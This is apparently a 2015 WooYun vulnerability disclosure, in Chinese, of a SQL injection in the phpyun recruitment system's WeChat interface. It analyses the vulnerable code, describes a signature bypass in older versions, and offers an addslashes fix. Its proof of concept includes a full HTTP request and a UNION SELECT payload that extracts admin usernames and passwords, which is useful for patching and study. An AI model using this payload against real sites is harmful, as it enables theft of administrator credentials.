当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0150533

漏洞标题：phpyun 第三方接口引发的注入漏洞

相关厂商：php云人才系统

漏洞作者： xiao.k

提交时间：2015-10-30 10:55

修复时间：2015-12-17 14:48

公开时间：2015-12-17 14:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-30： 细节已通知厂商并且等待厂商处理中
2015-10-30： 厂商已经确认，细节仅向厂商公开
2015-11-02： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2015-12-24： 细节向核心白帽子及相关领域专家公开
2016-01-03： 细节向普通白帽子公开
2016-01-13： 细节向实习白帽子公开
2015-12-17： 细节向公众公开

简要描述：

此注入漏洞可以获取理员的账户密码，危害比较大。

详细说明：

## 漏洞触发条件
早于14年6月2日的版本可以直接利用此漏洞。最新版本需要开启微信公众号功能才可利用。
## 漏洞影响范围
phpyun v4.0 build151012，以及之前版本。
## 漏洞代码分析
首先简单说一下微信公众号的原理。
当网站绑定了微信公众号时，我们提交的内容先传到微信服务器。然后经过微信生成xml格式的数据，附加上效验码传到网站。网站根据发送的内容进行判断整理，将生成好的数据返回给微信服务器。微信服务器接收到数据后进行解析，最终再反馈给用户。
此次的问题在于，phpyun对于微信提交过来的数据没有转义，保持了信任。最终导致注入的发生。
关键代码位于`app\controller\weixin\index.class.php`,23行

if(!$M->checkSignature($_GET['signature'],$_GET['timestamp'],$_GET['nonce'])){echo "非法来源地址！123";};
    $postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
    //$postStr = file_get_contents("php://input"); 
    //var_dump($postStr);
    if (!empty($postStr))


当效验完signature之后，进入`$GLOBALS["HTTP_RAW_POST_DATA"]`。我们来看一下php手册的解释。

$HTTP\_RAW\_POST\_DATA 包含 POST 提交的原始数据。参见 always\_populate\_raw\_post\_data


我们在此可以理解为**php不会对提交的数据产生任何的转义**。
当我们在微信公众号的输入框里键入关键字时。会经过程序处理到达113行。

}elseif($MsgType=='text'){
	if($keyword){
		//echo $keyword;
		$Return = $M->searchJob($keyword);
		$centerStr		= $Return['centerStr'];
		$this->MsgType  = $Return['MsgType'];
	}
	}


我们提交的内容会被程序当作keyword传入searchJob。我们再来看看 searchJob。文件位于`app\model\weixin.model.php`，141行

function searchJob($keyword)
	{
		$keyword = trim($keyword);
		
		include(PLUS_PATH."/city.cache.php");
		if($keyword)
		{
			$keywords = @explode(' ',$keyword);
			var_dump($keywords);
			if(is_array($keywords))
			{
				foreach($keywords as $key=>$value)
				{
					$iscity = 0;
					if($value!='')
					{
						foreach($city_name as $k=>$v)
						{
							if(strpos($v,iconv('utf-8','gbk',trim($value)))!==false)
							{
								$CityId[] = $k;
								$iscity = 1;
							}
						}
						if($iscity==0)
						{
							$searchJob[] = "(`name` LIKE '%".iconv('utf-8','gbk',trim($value))."%') OR (`com_name` LIKE '%".iconv('utf-8','gbk',trim($value))."%')";
						}
					}
				}
				
				$searchWhere = "`state`='1' AND `sdate`<='".time()."' AND `edate`>= '".time()."' AND `status`<>'1' AND `r_status`<>'1' AND (".implode(' OR ',$searchJob).")";
				if(!empty($CityId))
				{
					$City_id = pylode(',',$CityId);
					$searchWhere .= " AND (`provinceid` IN (".$City_id.") OR `cityid` IN (".$City_id.") OR `three_cityid` IN (".$City_id."))";
				}
				$jobList = $this->DB_select_all("company_job",$searchWhere." order by `lastupdate` desc limit 5","`id`,`name`,`com_name`");
			}
		}


当做了几次SQL拼接以后，最终进入`DB_select_all`。
补充一下：印象中早于14年6月2日的版本，并未检查系统内部weixin token是否为空。所以signature伪造为sha1('')即可通过signature。

漏洞证明：

本地环境下可以类似的构造，注意替换**signature**。

POST /official/phpyun/upload/weixin/index.php?signature=1&timestamp=2&nonce=3  HTTP/1.1
	Host: 127.0.0.1
	User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-us,en;q=0.5
	Accept-Encoding: gzip, deflate
	Cookie: ;
	Connection: keep-alive
	Content-Length: 317
	
	<xml>
	  <ToUserName><![CDATA[toUser]]></ToUserName>
	  <FromUserName><![CDATA[fromUser]]></FromUserName>
	  <CreateTime>12345678</CreateTime>
	  <MsgType><![CDATA[text]]></MsgType>
	  <Content>'))/**/UNION/**/SELECT/**/1,username,password/**/from/**/phpyun_admin_user/**/#</Content>
	  <FuncFlag>0</FuncFlag>
	</xml>


[2015-10] phpyun 微信接口引发的注入漏洞 实验数据.JPG


在实际的攻击过程中，可以直接向对方公众号发送如下内容，进行注入。

'))/**/UNION/**/SELECT/**/1,username,password/**/from/**/phpyun_admin_user/**/#


[2015-10] phpyun 微信接口引发的注入漏洞 IMG_2902.PNG

修复方案：

在

$Return = $M->searchJob($keyword);

语句前加入

$keyword=addslashes($keyword)

。

版权声明：转载请注明来源 xiao.k@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-30 11:02

厂商回复：

感谢提供，我们会尽快修复！

最新状态：

暂无